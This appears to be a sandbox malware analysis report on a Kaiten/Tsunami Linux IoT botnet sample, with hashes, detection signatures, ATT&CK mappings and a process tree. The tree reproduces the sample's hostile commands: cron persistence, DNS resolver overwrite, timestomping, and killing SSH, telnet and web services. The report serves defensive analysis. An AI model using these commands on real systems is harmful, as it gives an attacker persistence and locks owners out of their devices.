kaiten | 6db9132bf65b9923c3b14b79edac73d5cea64999af0b5224bd11865e23283885

Analysis

max time kernel
27s
max time network
13s
platform
debian-9_armhf
resource
debian9-armhf-20231215-en
resource tags

arch:armhfimage:debian9-armhf-20231215-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
19-12-2023 23:10

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

4b9cc70454bbbb66672c4c322da04b47
Size

37KB
MD5

4b9cc70454bbbb66672c4c322da04b47
SHA1

7d9692a702ffe7f4b7d6b3f5aac5f39d8d6f560f
SHA256

6db9132bf65b9923c3b14b79edac73d5cea64999af0b5224bd11865e23283885
SHA512

7145b984783a69fa4fec01532d411f5b6007a4e3bc8fca8f3358cc8999fbeac024b8e67865b2ddcdcf5849d2e7fedf31d65fa58029987a8c73d7aabaed6a87c3
SSDEEP

768:Ex81fgq9/GXnMkMUEm0J+opts2sDC0sdGz3A+D3dj9ygo3Uo6:ZdgWY0UEmZDFsdOwSo6

Score

10^/10

kaiten botnet persistence

Malware Config

Signatures

Detects Kaiten/Tsunami Payload 1 IoCs

resource	yara_rule
behavioral1/memory/658-1-0x00008000-0x00029e80-memory.dmp	family_kaiten2

Kaiten/Tsunami
Linux-based IoT botnet which is controlled through IRC and normally used to carry out DDoS attacks.
botnet kaiten

Writes DNS configuration 1 TTPs 1 IoCs

Writes data to DNS resolver config file.

Dynamic Resolution

T1568

description	ioc
File opened for modification	/etc/resolv.conf

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

persistence

Scheduled Task/Job

T1053

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.t3o6yf	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Enumerates kernel/hardware configuration 1 TTPs 45 IoCs

Reads contents of /sys virtual filesystem to enumerate system information.

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

description	ioc	Process
File opened for reading	/proc/1/environ	systemctl
File opened for reading	/proc/74/stat	killall
File opened for reading	/proc/658/stat	killall
File opened for reading	/proc/774/stat	killall
File opened for reading	/proc/658/stat	killall
File opened for reading	/proc/26/stat	killall
File opened for reading	/proc/cmdline	systemctl
File opened for reading	/proc/106/stat	killall
File opened for reading	/proc/296/stat	killall
File opened for reading	/proc/self/stat	systemctl
File opened for reading	/proc/105/stat	killall
File opened for reading	/proc/1/stat	killall
File opened for reading	/proc/6/stat	killall
File opened for reading	/proc/728/stat	killall
File opened for reading	/proc/15/stat	killall
File opened for reading	/proc/19/stat	killall
File opened for reading	/proc/filesystems	systemctl
File opened for reading	/proc/self/stat	systemctl
File opened for reading	/proc/95/stat	killall
File opened for reading	/proc/704/stat	killall
File opened for reading	/proc/14/stat	killall
File opened for reading	/proc/5/stat	killall
File opened for reading	/proc/14/stat	killall
File opened for reading	/proc/144/stat	killall
File opened for reading	/proc/42/stat	killall
File opened for reading	/proc/642/stat	killall
File opened for reading	/proc/8/stat	killall
File opened for reading	/proc/642/stat	killall
File opened for reading	/proc/filesystems	systemctl
File opened for reading	/proc/658/stat	killall
File opened for reading	/proc/11/stat	killall
File opened for reading	/proc/23/stat	killall
File opened for reading	/proc/779/stat	killall
File opened for reading	/proc/18/stat	killall
File opened for reading	/proc/20/stat	killall
File opened for reading	/proc/11/stat	killall
File opened for reading	/proc/278/stat	killall
File opened for reading	/proc/587/stat	killall
File opened for reading	/proc/16/stat	killall
File opened for reading	/proc/164/stat	killall
File opened for reading	/proc/10/stat	killall
File opened for reading	/proc/785/stat	killall
File opened for reading	/proc/self/stat	systemctl
File opened for reading	/proc/704/stat	killall
File opened for reading	/proc/702/stat	killall
File opened for reading	/proc/6/stat	killall
File opened for reading	/proc/20/stat	killall
File opened for reading	/proc/638/stat	killall
File opened for reading	/proc/74/stat	killall
File opened for reading	/proc/17/stat	killall
File opened for reading	/proc/5/stat	killall
File opened for reading	/proc/800/stat	killall
File opened for reading	/proc/587/stat	killall
File opened for reading	/proc/15/stat	killall
File opened for reading	/proc/21/stat	killall
File opened for reading	/proc/164/stat	killall
File opened for reading	/proc/95/stat	killall
File opened for reading	/proc/1/environ	systemctl
File opened for reading	/proc/278/stat	killall
File opened for reading	/proc/221/stat	killall
File opened for reading	/proc/106/stat	killall
File opened for reading	/proc/164/stat	killall
File opened for reading	/proc/cmdline	systemctl
File opened for reading	/proc/578/stat	killall

/tmp/4b9cc70454bbbb66672c4c322da04b47
/tmp/4b9cc70454bbbb66672c4c322da04b47
1⤵
PID:658
- /bin/sh
  sh -c "rm -rf /var/run/wgsh > /dev/null 2>&1 &"
  2⤵
  PID:660
- /bin/sh
  sh -c "rm -rf /var/run/bbsh > /dev/null 2>&1 &"
  2⤵
  PID:662
- /bin/sh
  sh -c "rm -rf /var/run/tty0 > /dev/null 2>&1 &"
  2⤵
  PID:666
- /bin/sh
  sh -c "rm -rf /var/run/tty1 > /dev/null 2>&1 &"
  2⤵
  PID:670
- /bin/sh
  sh -c "rm -rf /var/run/tty2 > /dev/null 2>&1 &"
  2⤵
  PID:673
- /bin/sh
  sh -c "rm -rf /var/run/tty3 > /dev/null 2>&1 &"
  2⤵
  PID:675
- /bin/sh
  sh -c "rm -rf /var/run/tty5 > /dev/null 2>&1 &"
  2⤵
  PID:677
- /bin/sh
  sh -c "rm -rf /var/run/tty6 > /dev/null 2>&1 &"
  2⤵
  PID:679
- /bin/sh
  sh -c "rm -rf /tmp/tty0 > /dev/null 2>&1 &"
  2⤵
  PID:682
- /bin/sh
  sh -c "rm -rf /tmp/tty1 > /dev/null 2>&1 &"
  2⤵
  PID:684
- /bin/sh
  sh -c "rm -rf /tmp/tty2 > /dev/null 2>&1 &"
  2⤵
  PID:686
- /bin/sh
  sh -c "rm -rf /tmp/tty3 > /dev/null 2>&1 &"
  2⤵
  PID:689
- /bin/sh
  sh -c "rm -rf /tmp/tty5 > /dev/null 2>&1 &"
  2⤵
  PID:692
- /bin/sh
  sh -c "rm -rf /tmp/tty6 > /dev/null 2>&1 &"
  2⤵
  PID:694
- /bin/sh
  sh -c "rm -rf /var/run/pty > /dev/null 2>&1 &"
  2⤵
  PID:697
- /bin/sh
  sh -c "killall -9 arm > /dev/null 2>&1 &"
  2⤵
  PID:699
- /bin/sh
  sh -c "killall -9 mips > /dev/null 2>&1 &"
  2⤵
  PID:701
- /bin/sh
  sh -c "killall -9 mipsel > /dev/null 2>&1 &"
  2⤵
  PID:703
- /bin/sh
  sh -c "killall -9 powerpc > /dev/null 2>&1 &"
  2⤵
  PID:705
- /bin/sh
  sh -c "killall -9 ppc > /dev/null 2>&1 &"
  2⤵
  PID:707
- /bin/sh
  sh -c "killall -9 daemon.armv4l.mod > /dev/null 2>&1 &"
  2⤵
  PID:709
- /bin/sh
  sh -c "killall -9 daemon.i686.mod > /dev/null 2>&1 &"
  2⤵
  PID:712
- /bin/sh
  sh -c "killall -9 daemon.mips.mod > /dev/null 2>&1 &"
  2⤵
  PID:714
- /bin/sh
  sh -c "killall -9 daemon.mipsel.mod > /dev/null 2>&1 &"
  2⤵
  PID:716
- /bin/sh
  sh -c "kill -9 `cat /tmp/.xs/*.pid` > /dev/null 2>&1 &"
  2⤵
  PID:718
- /bin/sh
  sh -c "rm -rf /tmp/.xs/* > /dev/null 2>&1 &"
  2⤵
  PID:720
- /bin/sh
  sh -c "sleep 432000 && reboot &"
  2⤵
  PID:723
- /bin/sh
  sh -c "echo \"nameserver 8.8.8.8\" > /etc/resolv.conf &"
  2⤵
  PID:725
- /bin/sh
  sh -c "chmod 700 /tmp/4b9cc70454bbbb66672c4c322da04b47 > /dev/null 2>&1 &"
  2⤵
  PID:730
- /bin/sh
  sh -c "touch -acmr /bin/ls /tmp/4b9cc70454bbbb66672c4c322da04b47"
  2⤵
  PID:732
- - /usr/bin/touch
    touch -acmr /bin/ls /tmp/4b9cc70454bbbb66672c4c322da04b47
    3⤵
    PID:733
- /bin/sh
  sh -c "(crontab -l | grep -v \"/tmp/4b9cc70454bbbb66672c4c322da04b47\" | grep -v \"no cron\" | grep -v \"lesshts/run.sh\" > /var/run/.x001804289383) > /dev/null 2>&1"
  2⤵
  PID:734
- /bin/sh
  sh -c "echo \"* * * * * /tmp/4b9cc70454bbbb66672c4c322da04b47 > /dev/null 2>&1 &\" >> /var/run/.x001804289383"
  2⤵
  PID:740
- /bin/sh
  sh -c "crontab /var/run/.x001804289383"
  2⤵
  PID:741
- - /usr/bin/crontab
    crontab /var/run/.x001804289383
    3⤵
    - Creates/modifies Cron job
    PID:742
- /bin/sh
  sh -c "rm -rf /var/run/.x001804289383"
  2⤵
  PID:743
- - /bin/rm
    rm -rf /var/run/.x001804289383
    3⤵
    PID:744
- /bin/sh
  sh -c "/bin/uname -n"
  2⤵
  PID:745
- - /bin/uname
    /bin/uname -n
    3⤵
    PID:746
- /bin/sh
  sh -c "/bin/uname -n"
  2⤵
  PID:747
- - /bin/uname
    /bin/uname -n
    3⤵
    PID:748
- /bin/sh
  sh -c "kill -9 `cat /var/run/httpd.pid` > /dev/null 2>&1 &"
  2⤵
  PID:760
- /bin/sh
  sh -c "service httpd stop > /dev/null 2>&1 &"
  2⤵
  PID:763
- /bin/sh
  sh -c "killall -9 mini_httpd > /dev/null 2>&1 &"
  2⤵
  PID:766
- /bin/sh
  sh -c "killall -9 minihttpd > /dev/null 2>&1 &"
  2⤵
  PID:769
- /bin/sh
  sh -c "kill -9 `cat /var/run/thttpd.pid` > /dev/null 2>&1 &"
  2⤵
  PID:772
- /bin/sh
  sh -c "nvram set httpd_enable=0 > /dev/null 2>&1"
  2⤵
  PID:776
- /bin/sh
  sh -c "nvram set http_enable=0 > /dev/null 2>&1"
  2⤵
  PID:778
- /bin/sh
  sh -c "killall -9 httpd > /dev/null 2>&1 &"
  2⤵
  PID:780
- /bin/sh
  sh -c "service telnetd stop > /dev/null 2>&1 &"
  2⤵
  PID:782
- /bin/sh
  sh -c "service sshd stop > /dev/null 2>&1 &"
  2⤵
  PID:787
- /bin/sh
  sh -c "killall -9 telnetd > /dev/null 2>&1 &"
  2⤵
  PID:789
- /bin/sh
  sh -c "killall -9 utelnetd > /dev/null 2>&1 &"
  2⤵
  PID:794
- /bin/sh
  sh -c "killall -9 dropbear > /dev/null 2>&1 &"
  2⤵
  PID:797
- /bin/sh
  sh -c "killall -9 sshd > /dev/null 2>&1 &"
  2⤵
  PID:801
- /bin/sh
  sh -c "killall -9 lighttpd > /dev/null 2>&1 &"
  2⤵
  PID:805

/bin/rm
rm -rf /var/run/wgsh
1⤵
PID:661

/bin/rm
rm -rf /var/run/bbsh
1⤵
PID:665

/bin/rm
rm -rf /var/run/tty0
1⤵
PID:669

/bin/rm
rm -rf /var/run/tty1
1⤵
PID:672

/bin/rm
rm -rf /var/run/tty2
1⤵
PID:674

/bin/rm
rm -rf /var/run/tty3
1⤵
PID:676

/bin/rm
rm -rf /var/run/tty5
1⤵
PID:678

/bin/rm
rm -rf /var/run/tty6
1⤵
PID:681

/bin/rm
rm -rf /tmp/tty0
1⤵
PID:683

/bin/rm
rm -rf /tmp/tty1
1⤵
PID:685

/bin/rm
rm -rf /tmp/tty2
1⤵
PID:688

/bin/rm
rm -rf /tmp/tty3
1⤵
PID:691

/bin/rm
rm -rf /tmp/tty5
1⤵
PID:693

/bin/rm
rm -rf /tmp/tty6
1⤵
PID:696

/bin/rm
rm -rf /var/run/pty
1⤵
PID:698

/usr/bin/killall
killall -9 arm
1⤵
- Reads runtime system information
PID:700

/usr/bin/killall
killall -9 mips
1⤵
- Reads runtime system information
PID:702

/usr/bin/killall
killall -9 mipsel
1⤵
- Reads runtime system information
PID:704

/usr/bin/killall
killall -9 powerpc
1⤵
- Reads runtime system information
PID:706

/usr/bin/killall
killall -9 ppc
1⤵
- Reads runtime system information
PID:708

/usr/bin/killall
killall -9 daemon.armv4l.mod
1⤵
- Reads runtime system information
PID:711

/usr/bin/killall
killall -9 daemon.i686.mod
1⤵
- Reads runtime system information
PID:713

/usr/bin/killall
killall -9 daemon.mips.mod
1⤵
PID:715

/usr/bin/killall
killall -9 daemon.mipsel.mod
1⤵
- Reads runtime system information
PID:717

/bin/cat
cat "/tmp/.xs/*.pid"
1⤵
PID:721

/bin/rm
rm -rf "/tmp/.xs/*"
1⤵
PID:722

/bin/sleep
sleep 432000
1⤵
PID:727

/bin/chmod
chmod 700 /tmp/4b9cc70454bbbb66672c4c322da04b47
1⤵
PID:731

/usr/bin/crontab
crontab -l
1⤵
PID:736

/bin/grep
grep -v /tmp/4b9cc70454bbbb66672c4c322da04b47
1⤵
PID:737

/bin/grep
grep -v "no cron"
1⤵
PID:738

/bin/grep
grep -v lesshts/run.sh
1⤵
PID:739

/bin/cat
cat /var/run/httpd.pid
1⤵
PID:764

/usr/sbin/service
service httpd stop
1⤵
PID:765
- /usr/bin/basename
  basename /usr/sbin/service
  2⤵
  PID:768
- /usr/bin/basename
  basename /usr/sbin/service
  2⤵
  PID:770
- /bin/systemctl
  systemctl --quiet is-active multi-user.target
  2⤵
  - Enumerates kernel/hardware configuration
  PID:774
- /bin/systemctl
  systemctl -p Triggers show dbus.socket
  2⤵
  - Enumerates kernel/hardware configuration
  PID:806
- /bin/systemctl
  systemctl -p Triggers show ssh.socket
  2⤵
  - Enumerates kernel/hardware configuration
  - Reads runtime system information
  PID:818
- /bin/systemctl
  systemctl -p Triggers show syslog.socket
  2⤵
  - Enumerates kernel/hardware configuration
  PID:830
- /bin/systemctl
  systemctl -p Triggers show systemd-fsckd.socket
  2⤵
  - Enumerates kernel/hardware configuration
  - Reads runtime system information
  PID:833
- /bin/systemctl
  systemctl -p Triggers show systemd-initctl.socket
  2⤵
  - Enumerates kernel/hardware configuration
  PID:837
- /bin/systemctl
  systemctl -p Triggers show systemd-journald-audit.socket
  2⤵
  - Enumerates kernel/hardware configuration
  PID:841
- /bin/systemctl
  systemctl -p Triggers show systemd-journald-dev-log.socket
  2⤵
  - Enumerates kernel/hardware configuration
  PID:846
- /bin/systemctl
  systemctl -p Triggers show systemd-journald.socket
  2⤵
  - Enumerates kernel/hardware configuration
  PID:850
- /bin/systemctl
  systemctl -p Triggers show systemd-networkd.socket
  2⤵
  - Enumerates kernel/hardware configuration
  PID:854
- /bin/systemctl
  systemctl -p Triggers show systemd-rfkill.socket
  2⤵
  - Enumerates kernel/hardware configuration
  PID:863
- /bin/systemctl
  systemctl -p Triggers show systemd-udevd-control.socket
  2⤵
  - Enumerates kernel/hardware configuration
  PID:869
- /bin/systemctl
  systemctl -p Triggers show systemd-udevd-kernel.socket
  2⤵
  - Enumerates kernel/hardware configuration
  PID:875

/usr/bin/killall
killall -9 mini_httpd
1⤵
- Reads runtime system information
PID:767

/usr/bin/killall
killall -9 minihttpd
1⤵
- Reads runtime system information
PID:771

/bin/cat
cat /var/run/thttpd.pid
1⤵
PID:777

/usr/bin/killall
killall -9 httpd
1⤵
- Reads runtime system information
PID:781

/bin/systemctl
systemctl list-unit-files --full "--type=socket"
1⤵
- Enumerates kernel/hardware configuration
PID:784

/bin/sed
sed -ne "s/\\.socket\\s*[a-z]*\\s*\$/.socket/p"
1⤵
PID:785

/usr/sbin/service
service telnetd stop
1⤵
PID:786
- /usr/bin/basename
  basename /usr/sbin/service
  2⤵
  PID:790
- /usr/bin/basename
  basename /usr/sbin/service
  2⤵
  PID:795
- /bin/systemctl
  systemctl --quiet is-active multi-user.target
  2⤵
  - Enumerates kernel/hardware configuration
  PID:800
- /bin/systemctl
  systemctl -p Triggers show dbus.socket
  2⤵
  - Enumerates kernel/hardware configuration
  PID:823
- /bin/systemctl
  systemctl -p Triggers show ssh.socket
  2⤵
  - Enumerates kernel/hardware configuration
  PID:831
- /bin/systemctl
  systemctl -p Triggers show syslog.socket
  2⤵
  - Enumerates kernel/hardware configuration
  - Reads runtime system information
  PID:835
- /bin/systemctl
  systemctl -p Triggers show systemd-fsckd.socket
  2⤵
  - Enumerates kernel/hardware configuration
  PID:840
- /bin/systemctl
  systemctl -p Triggers show systemd-initctl.socket
  2⤵
  - Enumerates kernel/hardware configuration
  PID:844
- /bin/systemctl
  systemctl -p Triggers show systemd-journald-audit.socket
  2⤵
  - Enumerates kernel/hardware configuration
  PID:848
- /bin/systemctl
  systemctl -p Triggers show systemd-journald-dev-log.socket
  2⤵
  - Enumerates kernel/hardware configuration
  PID:853
- /bin/systemctl
  systemctl -p Triggers show systemd-journald.socket
  2⤵
  - Enumerates kernel/hardware configuration
  - Reads runtime system information
  PID:856
- /bin/systemctl
  systemctl -p Triggers show systemd-networkd.socket
  2⤵
  - Enumerates kernel/hardware configuration
  PID:865
- /bin/systemctl
  systemctl -p Triggers show systemd-rfkill.socket
  2⤵
  - Enumerates kernel/hardware configuration
  - Reads runtime system information
  PID:873
- /bin/systemctl
  systemctl -p Triggers show systemd-udevd-control.socket
  2⤵
  - Enumerates kernel/hardware configuration
  PID:877
- /bin/systemctl
  systemctl -p Triggers show systemd-udevd-kernel.socket
  2⤵
  - Enumerates kernel/hardware configuration
  PID:880

/usr/sbin/service
service sshd stop
1⤵
PID:788
- /usr/bin/basename
  basename /usr/sbin/service
  2⤵
  PID:793
- /usr/bin/basename
  basename /usr/sbin/service
  2⤵
  PID:798
- /bin/systemctl
  systemctl --quiet is-active multi-user.target
  2⤵
  - Enumerates kernel/hardware configuration
  PID:803
- /bin/systemctl
  systemctl -p Triggers show dbus.socket
  2⤵
  - Enumerates kernel/hardware configuration
  PID:828
- /bin/systemctl
  systemctl -p Triggers show ssh.socket
  2⤵
  - Enumerates kernel/hardware configuration
  PID:834
- /bin/systemctl
  systemctl -p Triggers show syslog.socket
  2⤵
  - Enumerates kernel/hardware configuration
  PID:838
- /bin/systemctl
  systemctl -p Triggers show systemd-fsckd.socket
  2⤵
  - Enumerates kernel/hardware configuration
  PID:842
- /bin/systemctl
  systemctl -p Triggers show systemd-initctl.socket
  2⤵
  - Enumerates kernel/hardware configuration
  PID:847
- /bin/systemctl
  systemctl -p Triggers show systemd-journald-audit.socket
  2⤵
  - Enumerates kernel/hardware configuration
  PID:852
- /bin/systemctl
  systemctl -p Triggers show systemd-journald-dev-log.socket
  2⤵
  - Enumerates kernel/hardware configuration
  - Reads runtime system information
  PID:857
- /bin/systemctl
  systemctl -p Triggers show systemd-journald.socket
  2⤵
  - Enumerates kernel/hardware configuration
  PID:866
- /bin/systemctl
  systemctl -p Triggers show systemd-networkd.socket
  2⤵
  - Enumerates kernel/hardware configuration
  PID:872
- /bin/systemctl
  systemctl -p Triggers show systemd-rfkill.socket
  2⤵
  - Enumerates kernel/hardware configuration
  - Reads runtime system information
  PID:876
- /bin/systemctl
  systemctl -p Triggers show systemd-udevd-control.socket
  2⤵
  - Enumerates kernel/hardware configuration
  - Reads runtime system information
  PID:879
- /bin/systemctl
  systemctl -p Triggers show systemd-udevd-kernel.socket
  2⤵
  - Enumerates kernel/hardware configuration
  PID:882

/usr/bin/killall
killall -9 telnetd
1⤵
- Reads runtime system information
PID:792

/usr/bin/killall
killall -9 utelnetd
1⤵
- Reads runtime system information
PID:796

/usr/bin/killall
killall -9 dropbear
1⤵
- Reads runtime system information
PID:799

/usr/bin/killall
killall -9 sshd
1⤵
- Reads runtime system information
PID:804

/usr/bin/killall
killall -9 lighttpd
1⤵
- Reads runtime system information
PID:807

/bin/systemctl
systemctl list-unit-files --full "--type=socket"
1⤵
- Enumerates kernel/hardware configuration
PID:810

/bin/sed
sed -ne "s/\\.socket\\s*[a-z]*\\s*\$/.socket/p"
1⤵
PID:812

/bin/systemctl
systemctl list-unit-files --full "--type=socket"
1⤵
- Enumerates kernel/hardware configuration
PID:814

/bin/sed
sed -ne "s/\\.socket\\s*[a-z]*\\s*\$/.socket/p"
1⤵
PID:816

/usr/local/sbin/systemctl
systemctl stop httpd.service
1⤵
PID:765

/usr/local/bin/systemctl
systemctl stop httpd.service
1⤵
PID:765

/usr/sbin/systemctl
systemctl stop httpd.service
1⤵
PID:765

/usr/bin/systemctl
systemctl stop httpd.service
1⤵
PID:765

/sbin/systemctl
systemctl stop httpd.service
1⤵
PID:765

/bin/systemctl
systemctl stop httpd.service
1⤵
- Enumerates kernel/hardware configuration
PID:765

/usr/local/sbin/systemctl
systemctl stop telnetd.service
1⤵
PID:786

/usr/local/bin/systemctl
systemctl stop telnetd.service
1⤵
PID:786

/usr/sbin/systemctl
systemctl stop telnetd.service
1⤵
PID:786

/usr/bin/systemctl
systemctl stop telnetd.service
1⤵
PID:786

/sbin/systemctl
systemctl stop telnetd.service
1⤵
PID:786

/bin/systemctl
systemctl stop telnetd.service
1⤵
- Enumerates kernel/hardware configuration
- Reads runtime system information
PID:786

/usr/local/sbin/systemctl
systemctl stop sshd.service
1⤵
PID:788

/usr/local/bin/systemctl
systemctl stop sshd.service
1⤵
PID:788

/usr/sbin/systemctl
systemctl stop sshd.service
1⤵
PID:788

/usr/bin/systemctl
systemctl stop sshd.service
1⤵
PID:788

/sbin/systemctl
systemctl stop sshd.service
1⤵
PID:788

/bin/systemctl
systemctl stop sshd.service
1⤵
- Enumerates kernel/hardware configuration
PID:788

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Persistence

Scheduled Task/Job

T1053

Privilege Escalation

Scheduled Task/Job

T1053

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Dynamic Resolution

T1568

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

/run/.x001804289383

Filesize
67B

MD5
c0db67973931eca112a7a7cbf892af71

SHA1
6fcabdc6f2594bdc11e7cb87a07149c82ef8a43d

SHA256
67d0196dfd3cca3ec33a09b958debee1fcd36034404b3b0469c0e414e6e0ba74

SHA512
f4dd952332d648f79358f34378f7ab0c3a0f8611ac4af3cf2263749dcb3a28cb744a4160168f8c414ea70ca7ecdc06452f723156a16bbca35cc4140f92c33d79

Download Submit
/var/spool/cron/crontabs/tmp.t3o6yf

Filesize
264B

MD5
1f72b0aff5871be5ed4763a9a42a2bfa

SHA1
8302b0570d046eb53fe3d7976a739caf482da6d0

SHA256
73899e6647d193c4b715b66be15ba8936df716a5b0219a26fef3cbad0b18bfce

SHA512
6701da700808fa41937d40d99e12339c1bafda872008357b5ca52de09f54d418645bb928e913a4bf506686e87421218f83df7682469e1af0aafb2836f29b1231

Download Submit

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads